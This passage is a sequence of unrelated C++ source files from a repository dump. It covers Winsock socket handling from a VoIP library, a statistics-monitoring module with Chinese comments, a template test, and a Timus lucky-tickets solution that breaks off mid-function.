((sockaddr_in*)addr)->sin_port=port;
res=::bind(fd, addr, addrLen);
LOGV("trying bind to port %u", ntohs(port));
if(res<0){
LOGE("error binding to port %u: %d / %s", ntohs(port), errno, strerror(errno));
}else{
break;
}
}
if(tries==10){
if(isAtLeastVista)
((sockaddr_in6*)addr)->sin6_port=0;
else
((sockaddr_in*)addr)->sin_port=0;
res=::bind(fd, addr, addrLen);
if(res<0){
LOGE("error binding to port %u: %d / %s", 0, errno, strerror(errno));
//SetState(STATE_FAILED);
return;
}
}
getsockname(fd, addr, (socklen_t*) &addrLen);
uint16_t localUdpPort;
if(isAtLeastVista)
localUdpPort=ntohs(((sockaddr_in6*)addr)->sin6_port);
else
localUdpPort=ntohs(((sockaddr_in*)addr)->sin_port);
LOGD("Bound to local UDP port %u", localUdpPort);
needUpdateNat64Prefix=true;
isV4Available=false;
switchToV6at=VoIPController::GetCurrentTime()+ipv6Timeout;
}
}
void NetworkSocketWinsock::Close(){
closing=true;
failed=true;
if(fd!=INVALID_SOCKET)
closesocket(fd);
}
void NetworkSocketWinsock::OnActiveInterfaceChanged(){
needUpdateNat64Prefix=true;
isV4Available=false;
switchToV6at=VoIPController::GetCurrentTime()+ipv6Timeout;
}
std::string NetworkSocketWinsock::GetLocalInterfaceInfo(IPv4Address *v4addr, IPv6Address *v6addr){
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
Windows::Networking::Connectivity::ConnectionProfile^ profile=Windows::Networking::Connectivity::NetworkInformation::GetInternetConnectionProfile();
if(profile){
Windows::Foundation::Collections::IVectorView<Windows::Networking::HostName^>^ hostnames=Windows::Networking::Connectivity::NetworkInformation::GetHostNames();
for(unsigned int i=0;i<hostnames->Size;i++){
Windows::Networking::HostName^ n = hostnames->GetAt(i);
if(n->Type!=Windows::Networking::HostNameType::Ipv4 && n->Type!=Windows::Networking::HostNameType::Ipv6)
continue;
if(n->IPInformation->NetworkAdapter->Equals(profile->NetworkAdapter)){
if(v4addr && n->Type==Windows::Networking::HostNameType::Ipv4){
char buf[INET_ADDRSTRLEN];
WideCharToMultiByte(CP_UTF8, 0, n->RawName->Data(), -1, buf, sizeof(buf), NULL, NULL);
*v4addr=IPv4Address(buf);
}else if(v6addr && n->Type==Windows::Networking::HostNameType::Ipv6){
char buf[INET6_ADDRSTRLEN];
WideCharToMultiByte(CP_UTF8, 0, n->RawName->Data(), -1, buf, sizeof(buf), NULL, NULL);
*v6addr=IPv6Address(buf);
}
}
}
char buf[128];
WideCharToMultiByte(CP_UTF8, 0, profile->NetworkAdapter->NetworkAdapterId.ToString()->Data(), -1, buf, sizeof(buf), NULL, NULL);
return std::string(buf);
}
return "";
#else
IP_ADAPTER_ADDRESSES* addrs=(IP_ADAPTER_ADDRESSES*)malloc(15*1024);
ULONG size=15*1024;
ULONG flags=GAA_FLAG_SKIP_ANYCAST | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_FRIENDLY_NAME;
ULONG res=GetAdaptersAddresses(AF_UNSPEC, flags, NULL, addrs, &size);
if(res==ERROR_BUFFER_OVERFLOW){
addrs=(IP_ADAPTER_ADDRESSES*)realloc(addrs, size);
res=GetAdaptersAddresses(AF_UNSPEC, flags, NULL, addrs, &size);
}
ULONG bestMetric=0;
std::string bestName("");
if(res==ERROR_SUCCESS){
IP_ADAPTER_ADDRESSES* current=addrs;
while(current){
char* name=current->AdapterName;
LOGV("Adapter '%s':", name);
IP_ADAPTER_UNICAST_ADDRESS* curAddr=current->FirstUnicastAddress;
if(current->OperStatus!=IfOperStatusUp){
LOGV("-> (down)");
current=current->Next;
continue;
}
if(current->IfType==IF_TYPE_SOFTWARE_LOOPBACK){
LOGV("-> (loopback)");
current=current->Next;
continue;
}
if(isAtLeastVista)
LOGV("v4 metric: %u, v6 metric: %u", current->Ipv4Metric, current->Ipv6Metric);
while(curAddr){
sockaddr* addr=curAddr->Address.lpSockaddr;
if(addr->sa_family==AF_INET && v4addr){
sockaddr_in* ipv4=(sockaddr_in*)addr;
LOGV("-> V4: %s", V4AddressToString(ipv4->sin_addr.s_addr).c_str());
uint32_t ip=ntohl(ipv4->sin_addr.s_addr);
if((ip & 0xFFFF0000)!=0xA9FE0000){
if(isAtLeastVista){
if(current->Ipv4Metric>bestMetric){
bestMetric=current->Ipv4Metric;
bestName=std::string(current->AdapterName);
*v4addr=IPv4Address(ipv4->sin_addr.s_addr);
}
}else{
bestName=std::string(current->AdapterName);
*v4addr=IPv4Address(ipv4->sin_addr.s_addr);
}
}
}else if(addr->sa_family==AF_INET6 && v6addr){
sockaddr_in6* ipv6=(sockaddr_in6*)addr;
LOGV("-> V6: %s", V6AddressToString(ipv6->sin6_addr.s6_addr).c_str());
if(!IN6_IS_ADDR_LINKLOCAL(&ipv6->sin6_addr)){
*v6addr=IPv6Address(ipv6->sin6_addr.s6_addr);
}
}
curAddr=curAddr->Next;
}
current=current->Next;
}
}
free(addrs);
return bestName;
#endif
}
uint16_t NetworkSocketWinsock::GetLocalPort(){
if(!isAtLeastVista){
sockaddr_in addr;
size_t addrLen=sizeof(sockaddr_in);
getsockname(fd, (sockaddr*)&addr, (socklen_t*)&addrLen);
return ntohs(addr.sin_port);
}
sockaddr_in6 addr;
size_t addrLen=sizeof(sockaddr_in6);
getsockname(fd, (sockaddr*)&addr, (socklen_t*) &addrLen);
return ntohs(addr.sin6_port);
}
std::string NetworkSocketWinsock::V4AddressToString(uint32_t address){
char buf[INET_ADDRSTRLEN];
sockaddr_in addr;
ZeroMemory(&addr, sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=address;
DWORD len=sizeof(buf);
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
wchar_t wbuf[INET_ADDRSTRLEN];
ZeroMemory(wbuf, sizeof(wbuf));
WSAAddressToStringW((sockaddr*)&addr, sizeof(addr), NULL, wbuf, &len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, buf, sizeof(buf), NULL, NULL);
#else
WSAAddressToStringA((sockaddr*)&addr, sizeof(addr), NULL, buf, &len);
#endif
return std::string(buf);
}
std::string NetworkSocketWinsock::V6AddressToString(const unsigned char *address){
char buf[INET6_ADDRSTRLEN];
sockaddr_in6 addr;
ZeroMemory(&addr, sizeof(addr));
addr.sin6_family=AF_INET6;
memcpy(addr.sin6_addr.s6_addr, address, 16);
DWORD len=sizeof(buf);
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
wchar_t wbuf[INET6_ADDRSTRLEN];
ZeroMemory(wbuf, sizeof(wbuf));
WSAAddressToStringW((sockaddr*)&addr, sizeof(addr), NULL, wbuf, &len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, buf, sizeof(buf), NULL, NULL);
#else
WSAAddressToStringA((sockaddr*)&addr, sizeof(addr), NULL, buf, &len);
#endif
return std::string(buf);
}
uint32_t NetworkSocketWinsock::StringToV4Address(std::string address){
sockaddr_in addr;
ZeroMemory(&addr, sizeof(addr));
addr.sin_family=AF_INET;
int size=sizeof(addr);
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
wchar_t buf[INET_ADDRSTRLEN];
MultiByteToWideChar(CP_UTF8, 0, address.c_str(), -1, buf, INET_ADDRSTRLEN);
WSAStringToAddressW(buf, AF_INET, NULL, (sockaddr*)&addr, &size);
#else
WSAStringToAddressA((char*)address.c_str(), AF_INET, NULL, (sockaddr*)&addr, &size);
#endif
return addr.sin_addr.s_addr;
}
void NetworkSocketWinsock::StringToV6Address(std::string address, unsigned char *out){
sockaddr_in6 addr;
ZeroMemory(&addr, sizeof(addr));
addr.sin6_family=AF_INET6;
int size=sizeof(addr);
#if WINAPI_FAMILY==WINAPI_FAMILY_PHONE_APP
wchar_t buf[INET6_ADDRSTRLEN];
MultiByteToWideChar(CP_UTF8, 0, address.c_str(), -1, buf, INET6_ADDRSTRLEN);
WSAStringToAddressW(buf, AF_INET, NULL, (sockaddr*)&addr, &size);
#else
WSAStringToAddressA((char*)address.c_str(), AF_INET, NULL, (sockaddr*)&addr, &size);
#endif
memcpy(out, addr.sin6_addr.s6_addr, 16);
}
void NetworkSocketWinsock::Connect(const NetworkAddress *address, uint16_t port){
const IPv4Address* v4addr=dynamic_cast<const IPv4Address*>(address);
const IPv6Address* v6addr=dynamic_cast<const IPv6Address*>(address);
sockaddr_in v4;
sockaddr_in6 v6;
sockaddr* addr=NULL;
size_t addrLen=0;
if(v4addr){
v4.sin_family=AF_INET;
v4.sin_addr.s_addr=v4addr->GetAddress();
v4.sin_port=htons(port);
addr=reinterpret_cast<sockaddr*>(&v4);
addrLen=sizeof(v4);
}else if(v6addr){
v6.sin6_family=AF_INET6;
memcpy(v6.sin6_addr.s6_addr, v6addr->GetAddress(), 16);
v6.sin6_flowinfo=0;
v6.sin6_scope_id=0;
v6.sin6_port=htons(port);
addr=reinterpret_cast<sockaddr*>(&v6);
addrLen=sizeof(v6);
}else{
LOGE("Unknown address type in TCP connect");
failed=true;
return;
}
fd=socket(addr->sa_family, SOCK_STREAM, IPPROTO_TCP);
if(fd==INVALID_SOCKET){
LOGE("Error creating TCP socket: %d", WSAGetLastError());
failed=true;
return;
}
u_long one=1;
ioctlsocket(fd, FIONBIO, &one);
int opt=1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (const char*)&opt, sizeof(opt));
DWORD timeout=5000;
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, (const char*)&timeout, sizeof(timeout));
timeout=60000;
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
int res=connect(fd, (const sockaddr*) addr, addrLen);
if(res!=0){
int error=WSAGetLastError();
if(error!=WSAEINPROGRESS && error!=WSAEWOULDBLOCK){
LOGW("error connecting TCP socket to %s:%u: %d / %s", address->ToString().c_str(), port, error, WindowsSpecific::GetErrorMessage(error).c_str());
closesocket(fd);
failed=true;
return;
}
}
tcpConnectedAddress=v4addr ? (NetworkAddress*)new IPv4Address(*v4addr) : (NetworkAddress*)new IPv6Address(*v6addr);
tcpConnectedPort=port;
LOGI("successfully connected to %s:%d", tcpConnectedAddress->ToString().c_str(), tcpConnectedPort);
}
IPv4Address *NetworkSocketWinsock::ResolveDomainName(std::string name){
addrinfo* addr0;
IPv4Address* ret=NULL;
int res=getaddrinfo(name.c_str(), NULL, NULL, &addr0);
if(res!=0){
LOGW("Error updating NAT64 prefix: %d / %s", res, gai_strerror(res));
}else{
addrinfo* addrPtr;
for(addrPtr=addr0;addrPtr;addrPtr=addrPtr->ai_next){
if(addrPtr->ai_family==AF_INET){
sockaddr_in* addr=(sockaddr_in*)addrPtr->ai_addr;
ret=new IPv4Address(addr->sin_addr.s_addr);
break;
}
}
freeaddrinfo(addr0);
}
return ret;
}
NetworkAddress *NetworkSocketWinsock::GetConnectedAddress(){
return tcpConnectedAddress;
}
uint16_t NetworkSocketWinsock::GetConnectedPort(){
return tcpConnectedPort;
}
void NetworkSocketWinsock::SetTimeouts(int sendTimeout, int recvTimeout){
DWORD timeout=sendTimeout*1000;
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, (const char*)&timeout, sizeof(timeout));
timeout=recvTimeout*1000;
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
}
bool NetworkSocketWinsock::Select(std::vector<NetworkSocket*> &readFds, std::vector<NetworkSocket*>& writeFds, std::vector<NetworkSocket*> &errorFds, SocketSelectCanceller* _canceller){
fd_set readSet;
fd_set errorSet;
fd_set writeSet;
SocketSelectCancellerWin32* canceller=dynamic_cast<SocketSelectCancellerWin32*>(_canceller);
timeval timeout={0, 10000};
bool anyFailed=false;
int res=0;
do{
FD_ZERO(&readSet);
FD_ZERO(&writeSet);
FD_ZERO(&errorSet);
for(std::vector<NetworkSocket*>::iterator itr=readFds.begin();itr!=readFds.end();++itr){
int sfd=GetDescriptorFromSocket(*itr);
if(sfd==0){
LOGW("can't select on one of sockets because it's not a NetworkSocketWinsock instance");
continue;
}
FD_SET(sfd, &readSet);
}
for(NetworkSocket*& s:writeFds){
int sfd=GetDescriptorFromSocket(s);
if(sfd==0){
LOGW("can't select on one of sockets because it's not a NetworkSocketWinsock instance");
continue;
}
FD_SET(sfd, &writeSet);
}
for(std::vector<NetworkSocket*>::iterator itr=errorFds.begin();itr!=errorFds.end();++itr){
int sfd=GetDescriptorFromSocket(*itr);
if(sfd==0){
LOGW("can't select on one of sockets because it's not a NetworkSocketWinsock instance");
continue;
}
if((*itr)->timeout>0 && VoIPController::GetCurrentTime()-(*itr)->lastSuccessfulOperationTime>(*itr)->timeout){
LOGW("Socket %d timed out", sfd);
(*itr)->failed=true;
}
anyFailed |= (*itr)->IsFailed();
FD_SET(sfd, &errorSet);
}
if(canceller && canceller->canceled)
break;
res=select(0, &readSet, &writeSet, &errorSet, &timeout);
//LOGV("select result %d", res);
if(res==SOCKET_ERROR)
LOGE("SELECT ERROR %d", WSAGetLastError());
}while(res==0);
if(canceller && canceller->canceled && !anyFailed){
canceller->canceled=false;
return false;
}else if(anyFailed){
FD_ZERO(&readSet);
FD_ZERO(&errorSet);
}
std::vector<NetworkSocket*>::iterator itr=readFds.begin();
while(itr!=readFds.end()){
int sfd=GetDescriptorFromSocket(*itr);
if(FD_ISSET(sfd, &readSet))
(*itr)->lastSuccessfulOperationTime=VoIPController::GetCurrentTime();
if(sfd==0 || !FD_ISSET(sfd, &readSet) || !(*itr)->OnReadyToReceive()){
itr=readFds.erase(itr);
}else{
++itr;
}
}
itr=writeFds.begin();
while(itr!=writeFds.end()){
int sfd=GetDescriptorFromSocket(*itr);
if(FD_ISSET(sfd, &writeSet)){
(*itr)->lastSuccessfulOperationTime=VoIPController::GetCurrentTime();
LOGI("Socket %d is ready to send", sfd);
}
if(sfd==0 || !FD_ISSET(sfd, &writeSet) || !(*itr)->OnReadyToSend()){
itr=writeFds.erase(itr);
}else{
++itr;
}
}
itr=errorFds.begin();
while(itr!=errorFds.end()){
int sfd=GetDescriptorFromSocket(*itr);
if((sfd==0 || !FD_ISSET(sfd, &errorSet)) && !(*itr)->IsFailed()){
itr=errorFds.erase(itr);
}else{
++itr;
}
}
//LOGV("select fds left: read=%d, error=%d", readFds.size(), errorFds.size());
return readFds.size()>0 || errorFds.size()>0;
}
SocketSelectCancellerWin32::SocketSelectCancellerWin32(){
canceled=false;
}
SocketSelectCancellerWin32::~SocketSelectCancellerWin32(){
}
void SocketSelectCancellerWin32::CancelSelect(){
canceled=true;
}
int NetworkSocketWinsock::GetDescriptorFromSocket(NetworkSocket *socket){
NetworkSocketWinsock* sp=dynamic_cast<NetworkSocketWinsock*>(socket);
if(sp)
return sp->fd;
NetworkSocketWrapper* sw=dynamic_cast<NetworkSocketWrapper*>(socket);
if(sw)
return GetDescriptorFromSocket(sw->GetWrapped());
return 0;
}
| [
"grishka93@gmail.com"
] | grishka93@gmail.com |
e41e2be427a34a3e990faf03b51e259c819af6bf | ed15181309dbda9c34b99172368bbd163e6bc3a3 | /libdevcore/StateMonitor.cpp | 93562329bf6a660e542b17ce7ed7e254ff20b5dc | [] | no_license | Utispace/UtispaceChain | f15b897712a6fb644e54de2aa178727dd6760520 | 43e4b99b198fbf1b8695c2971a01967e33bc6dba | refs/heads/master | 2020-12-11T09:56:55.045686 | 2020-01-14T11:00:02 | 2020-01-14T11:00:02 | 233,815,216 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 12,294 | cpp |
#include <iostream>
#include <sstream>
#include <boost/asio.hpp>
#include <boost/thread/thread.hpp>
#include <boost/thread/mutex.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <atomic>
#include <sys/time.h>
#include <time.h>
#include <algorithm>
#include <climits>
#include "StateMonitor.h"
using namespace std;
using namespace boost;
namespace statemonitor
{
static std::unordered_map<int, boost::mutex> monitorByTimeLockTable, monitorByNumLockTable;
static boost::mutex monitorByTimeTableLock, monitorByNumTableLock;
#define LOCK_MONITOR(_Type) \
monitorBy##_Type##TableLock.lock(); \
boost::mutex &monitor_lock = monitorBy##_Type##LockTable[code]; \
monitorBy##_Type##TableLock.unlock(); \
monitor_lock.lock();
#define UNLOCK_MONITOR() \
monitor_lock.unlock();
/*
* StateContainer
*/
void StateContainer::recordStart(int child_code)
{
//_record_start_time = getCurrentTime();
setRecordStartTime(child_code);
//如果是第一次进来_last_export_time未初始化,则为其赋当前时间
if (NO_INIT == _last_export_time)
_last_export_time = getCurrentTime();
}
void StateContainer::recordEnd(int is_success, int child_code)
{
if (NO_INIT == _last_export_time)
return; //如果未初始化,直接退出
if (is_success < 0)
{
//此条记录不可用,删除此child_code对应的start时记录的时间点,并退出
auto it = _mp_record_start_time.find(child_code);
if (it != _mp_record_start_time.end())
_mp_record_start_time.erase(it);
return;
}
msec_t time_cost = getRecordInterval(child_code);
if (time_cost < 0)
return;
data_t value = convert(time_cost);
max_data = max(max_data, value);
min_data = min(min_data, value);
data_sum += value;
++ record_cnt;
if(is_success > 0)
++ success_cnt;
}
void StateContainer::recordOnce(int is_success, data_t value)
{
//recordOnce相当于同时进行了一组start end,用户自定义传入差值 value
//如果是第一次进来_last_export_time未初始化,则为其赋当前时间
if (NO_INIT == _last_export_time)
_last_export_time = getCurrentTime();
if (is_success < 0)
return; //数据不可用,直接退出
max_data = max(max_data, value);
min_data = min(min_data, value);
data_sum += value;
++ record_cnt;
if(is_success > 0)
++ success_cnt;
}
#define stateToString(state) (string(#state) + string(":") + to_string(state) + string(" "))
bool StateContainer::exportState(string &state)
{
/*
* 导出内容 单位
* start_timestamp ms
* end_timestamp ms
* input_rate qps
* avg_rate qps
*
* max_data
* min_data
* avg_data
*
* export_interval_msec ms
* record_cnt 次
* success_cnt 次
* success_percent %
*/
uint64_t start_timestamp = ceil(_last_export_time);
msec_t export_interval_msec = getExportInterval();
uint64_t end_timestamp = start_timestamp + ceil(export_interval_msec);
double export_interval_sec = double(export_interval_msec) / 1000;
if (0 == record_cnt)
return false; //如果记录数为0,一次数据都没有,导出失败
data_t avg_data;
double input_rate, max_rate, min_rate, success_percent;
avg_data = data_sum / record_cnt;
input_rate = double(record_cnt) / export_interval_sec;
success_percent = 100 * double(success_cnt) / double(record_cnt);
std::stringstream ss;
ss << " "
<< "start:" << start_timestamp << " | "
<< "end:" << end_timestamp << " | "
<< "in_Rto:" << input_rate << " | "
<< "max:" << max_data << " | "
<< "min:" << min_data << " | "
<< "avg:" << avg_data << " | "
<< "interval:" << export_interval_msec << " | "
<< "cnt:" << record_cnt << " | "
<< "suc_cnt:" << success_cnt << " | "
<< "suc_per:" << success_percent;
state = ss.str();
// state = string();
// state += stateToString(start_timestamp);
// state += stateToString(end_timestamp);
// state += stateToString(input_rate);
// state += stateToString(max_data);
// state += stateToString(min_data);
// state += stateToString(avg_data);
// state += stateToString(export_interval_msec);
// state += stateToString(record_cnt);
// state += stateToString(success_cnt);
// state += stateToString(success_percent);
resetState();
return true;
}
void StateContainer::reset()
{
resetState();
_last_export_time = NO_INIT;
_mp_record_start_time = std::map<int, msec_t>(); //赋空值,释放内存
}
StateContainer::msec_t StateContainer::getExportInterval()
{
msec_t current = getCurrentTime();
msec_t interval = current - _last_export_time;
_last_export_time = current;
return interval;
}
StateContainer::msec_t StateContainer::getRecordInterval(int child_code)
{
// msec_t record_start_time = _mp_record_start_time.at(child_code);
auto it = _mp_record_start_time.find(child_code); //recordStart和recordEnd必须在保证在同一个child_code才能被记录下来
if (it != _mp_record_start_time.end()){
msec_t record_start_time = it->second;
_mp_record_start_time.erase(it); //此child_code的记录完成使命,删掉节省空间
return getCurrentTime() - record_start_time;
} else {
// todo 报警一下,可能出现了函数嵌套多次调用
return -1;
}
}
StateContainer::msec_t StateContainer::getCurrentTime()
{
struct timeval tv;
gettimeofday(&tv, NULL);
uint64_t sec = tv.tv_sec;
return msec_t(sec) * 1000 + msec_t(tv.tv_usec) / 1000;
}
void StateContainer::setRecordStartTime(int child_code)
{
_mp_record_start_time[child_code] = getCurrentTime();
}
void StateContainer::resetState()
{
record_cnt = 0;
success_cnt = 0;
max_data = 0;
min_data = MAX_TIME;
data_sum = 0;
}
/*
* StateMonitor
*/
void StateMonitor::report(int code, string& name, string& info)
{
string state_str;
if (!state.exportState(state_str))
{
//cout << "Haven't collected any data, report failed" << endl;
return; //导出失败,直接返回,不发送错误数据
}
//report的格式:[code][name][info] state_str
stringstream ss;
ss << "[" << code << "][" << name << "][" << info << "] " << state_str;
//开另一个线程来report
boost::thread report_thread(StateReporter::report, ss.str());
}
/*
* StateMonitorByTime
*/
void StateMonitorByTime::recordStart(int code, uint64_t interval, int child_code)
{
if (interval != _interval || !_is_timer_on)
{
NormalStatLog() << "[" << code << "]StateMonitorByTime::interval change to " << interval;
startTimer(interval);
}
state.recordStart(child_code);
}
void StateMonitorByTime::recordEnd(int code, string& name, string& info, int is_success, int child_code)
{
if (is_success >= 0) //只要不是不可用的,都会被记录
{
this->code = code;
state_name = name;
state_info = info;
}
state.recordEnd(is_success, child_code);
}
void StateMonitorByTime::recordOnce(int code, uint64_t interval, data_t value, std::string& name, std::string& info, int is_success)
{
if (interval != _interval || !_is_timer_on)
{
NormalStatLog() << "[" << code << "]StateMonitorByTime::interval change to " << interval;
startTimer(interval);
}
if (is_success >= 0) //只要不是不可用的,都会被记录
{
this->code = code;
state_name = name;
state_info = info;
}
state.recordOnce(is_success, value);
}
//按周期(_interval)进行上报
void StateMonitorByTime::timerToReport()
{
while (_is_timer_on)
{
sleep(_interval); //若在sleep时修改了interval,也要等本次跑完,下次新的interval才生效
LOCK_MONITOR(Time); //此处是在线程中跑,共享name和info变量,所以需要加与入口一样的锁
report(code, state_name, state_info);
UNLOCK_MONITOR();
}
}
void StateMonitorByTime::startTimer(sec_t interval)
{
_interval = interval;
if (_is_timer_on)
return; //避免重复开timer线程
_is_timer_on = true;
//给定时器开一个新的线程
boost::thread timer_thread(boost::bind(&StateMonitorByTime::timerToReport, this));
//TODO: 核查多个StateMonitorByTime下timer是否是多个
}
/*
* StateMonitorByNum
*/
void StateMonitorByNum::recordStart(int code, uint64_t report_per_num, int child_code)
{
if (_report_per_num != report_per_num)
{
NormalStatLog() << "[" << code << "]StateMonitorByNum::report_per_num change to " << report_per_num;
_report_per_num = report_per_num;
state.reset();
_cnt = 0;
}
state.recordStart(child_code);
}
void StateMonitorByNum::recordEnd(int code, string &name, string &info, int is_success, int child_code)
{
state.recordEnd(is_success, child_code);
if (is_success < 0)
return; //表示此记录不可用,不被记录
if (++_cnt < _report_per_num)
return;
//如果达到了次数,就要report
report(code, name, info);
_cnt = 0;
}
void StateMonitorByNum::recordOnce(int code, uint64_t report_per_num, data_t value, std::string& name, std::string& info, int is_success)
{
if (_report_per_num != report_per_num)
{
NormalStatLog() << "[" << code << "]StateMonitorByNum::report_per_num change to " << report_per_num;
_report_per_num = report_per_num;
state.reset();
_cnt = 0;
}
state.recordOnce(is_success, value);
if (is_success < 0)
return; //表示此记录不可用,不被记录
if (++_cnt < _report_per_num)
return;
//如果达到了次数,就要report
report(code, name, info);
_cnt = 0;
}
static std::unordered_map<int, StateMonitorByTime> monitorByTimeTable;
static std::unordered_map<int, StateMonitorByNum> monitorByNumTable;
void recordStateByTimeStart(int code, uint64_t interval, int child_code)
{
LOCK_MONITOR(Time)
monitorByTimeTable[code].recordStart(code, interval, child_code); //code找不到会自己创建
UNLOCK_MONITOR()
}
void recordStateByTimeEnd(int code, string &&name, string &&info, int is_success, int child_code)
{
LOCK_MONITOR(Time)
// monitorByTimeTable[code].recordEnd(code, name, info, is_success, child_code);
auto it = monitorByTimeTable.find(code);
if (it != monitorByTimeTable.end())
it->second.recordEnd(code, name, info, is_success, child_code);
UNLOCK_MONITOR()
}
void recordStateByTimeOnce(int code, uint64_t interval,
data_t value, std::string &&name, std::string &&info,
int is_success)
{
LOCK_MONITOR(Time)
monitorByTimeTable[code].recordOnce(code, interval, value, name, info, is_success);
UNLOCK_MONITOR()
}
void recordStateByNumStart(int code, uint64_t report_per_num, int child_code)
{
LOCK_MONITOR(Num)
monitorByNumTable[code].recordStart(code, report_per_num, child_code); //code找不到会自己创建
UNLOCK_MONITOR()
}
void recordStateByNumEnd(int code, string &&name, string &&info, int is_success, int child_code)
{
LOCK_MONITOR(Num)
auto it = monitorByNumTable.find(code);
if (it != monitorByNumTable.end())
it->second.recordEnd(code, name, info, is_success, child_code);
UNLOCK_MONITOR()
}
void recordStateByNumOnce(int code, uint64_t report_per_num,
data_t value, std::string &&name, std::string &&info,
int is_success)
{
LOCK_MONITOR(Num)
monitorByNumTable[code].recordOnce(code, report_per_num, value, name, info, is_success);
UNLOCK_MONITOR()
}
}
| [
"giorgi.javrishvili@gmail.com"
] | giorgi.javrishvili@gmail.com |
46b45bce855acc05fd2a798389fc25858ec01037 | 607c5d567510d6518a8b298a0d665655ad65737c | /src/test1.cpp | 3d2a483fe4f128ed06270d924251de5c8dc89b0e | [] | no_license | for-will/learncpp | 62d8b016e2060dcb2e0a92740bbd86cc289ca387 | f9a2ac5451dca4a64f8daddf46fa060edf5dd5f0 | refs/heads/master | 2023-04-14T14:53:21.077301 | 2018-12-03T01:58:33 | 2018-12-03T01:58:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 459 | cpp | //
// Created by xuyz on 2018/11/29.
//
#include <iostream>
template <int i>
class D{
public:
D(void*){
};
};
template <int N>
class Even{
public:
Even<N-1> e;
enum {Yes = (N%2) ? 0 : 1} ;
void f(){
D<N> d = Yes ? 1 : 0;
e.f();
}
};
template<>
class Even<1>{
public:
enum {Yes = 0} ;
void f(){
}
};
int main(){
// std::cout << "learn cpp" << std::endl;
Even<100> e;
// e.f();
return 0;
} | [
""
] | |
d3fe75681ca6de8b70ead1400a68813cbb394064 | b4be4568f4af37983ae64acd0bd9130252f76935 | /exception/main.cpp | 37f8656f1e3c3aebbf0190945049c6629daa9063 | [] | no_license | OldMan5119/ThinkingCplus | 74bc063a7f47e414ab25d14450fe9622ad6a6f18 | c98c5fc44af57440b8e8b5dd0467072d3dd31d1f | refs/heads/main | 2023-04-02T05:54:28.976835 | 2021-04-15T11:23:17 | 2021-04-15T11:23:17 | 315,984,708 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 67 | cpp | #include <iostream>
void test() {
}
int main() {
return 0;
} | [
"gaxi.shi@huolala.cn"
] | gaxi.shi@huolala.cn |
10f1a6c40edef092b1f6bcbcea674d769eae3490 | e2e94499292b63a076fb1b7c13b8e55ab9403e30 | /1036.cpp | f9087c70209ed0229af287bef4574048c8235001 | [] | no_license | mBr001/timus | 5653373f0018e2cc5cd4779e86a2a04762316ba0 | 6db370596e60ead85907b73b80ff6ea176a9db2b | refs/heads/master | 2020-12-07T22:12:01.446365 | 2019-03-16T15:01:58 | 2019-03-16T15:01:58 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,841 | cpp | #include <iostream>
#include <vector>
class BigInteger
{
static const uint64_t BASE = 1'000'000'000;
static const int EXP = 9;
static const int SIZE = 12;
uint32_t number[SIZE];
public:
BigInteger() {
for(auto& v : number) {
v = 0;
}
}
BigInteger(const BigInteger& big) {
*this = big;
}
BigInteger(uint32_t n) {
*this = BigInteger();
number[0] = n;
}
BigInteger& operator= (const BigInteger& rhs) {
for (int i = 0; i < SIZE; ++i) {
this->number[i] = rhs.number[i];
}
return *this;
}
bool operator!= (const BigInteger& rhs) {
for (int i = 0; i < SIZE; ++i) {
if (this->number[i] != rhs.number[i]) {
return true;
}
}
return false;
}
BigInteger operator+ (const BigInteger& rhs) {
BigInteger result;
int carry = 0;
for (int i = 0; i < SIZE; ++i) {
result.number[i] = this->number[i] + rhs.number[i] + carry;
carry = 0;
if (result.number[i] >= BASE || result.number[i] < this->number[i]) {
carry = 1;
result.number[i] -= BASE;
}
}
if (carry) {
throw "overflow";
}
return result;
}
BigInteger operator* (const BigInteger& rhs) {
BigInteger result;
for (int i = 0; i < SIZE / 2 ; ++i) {
int carry = 0;
for (int j = 0; j < SIZE / 2; ++j) {
uint64_t cur = result.number[i + j] +
rhs.number[i] * 1LL * this->number[j] + carry;
result.number[i + j] = cur % BASE;
carry = cur / BASE;
}
result.number[SIZE / 2 + i] += carry;
}
return result;
}
BigInteger& operator+= (const BigInteger& rhs) {
return *this = *this + rhs;
}
friend std::ostream& operator<< (std::ostream &out, const BigInteger& big) {
char oldFill = out.fill();
out.fill('0');
bool mandatory = false;
for(int i = SIZE - 1; i >= 0; --i) {
if (!mandatory && big.number[i]) {
mandatory = true;
out << big.number[i];
}
else if (mandatory) {
out.width(EXP);
out << big.number[i];
}
}
if (!mandatory) {
out << big.number[0];
}
out.fill(oldFill);
return out;
}
};
struct Record {
BigInteger number;
bool empty;
};
BigInteger countLuckyTickets(int n, int sum)
{
static std::vector<std::vector<Record>> cache;
static bool init = false;
if (!init) {
cache.resize(n + 1);
for (int i = 0; i <= n; ++i) {
cache[i].resize(sum + 1);
for(int j = 0; j <= sum; ++j) {
cache[i][j].empty = true;
}
}
init = true;
}
if (n == 1) {
if (sum < 10) {
return 1;
}
return 0;
}
if (!cache[n][sum].empty) {
return cache[n][sum].number;
}
cache[n][sum].number = 0;
cache[n][sum].empty = false;
for(int i = 0; i < 10 && sum - i >= 0; ++i) {
cache[n][sum].number += countLuckyTickets(n - 1, sum - i);
}
return cache[n][sum].number;
}
int main()
{
int n, sum;
std::cin >> n >> sum;
if (!sum) {
std::cout << 1 << std::endl;
return 0;
}
if (sum % 2 || 9 * n * 2 < sum) {
std::cout << 0 << std::endl;
return 0;
}
sum >>= 1;
BigInteger counter = countLuckyTickets(n, sum);
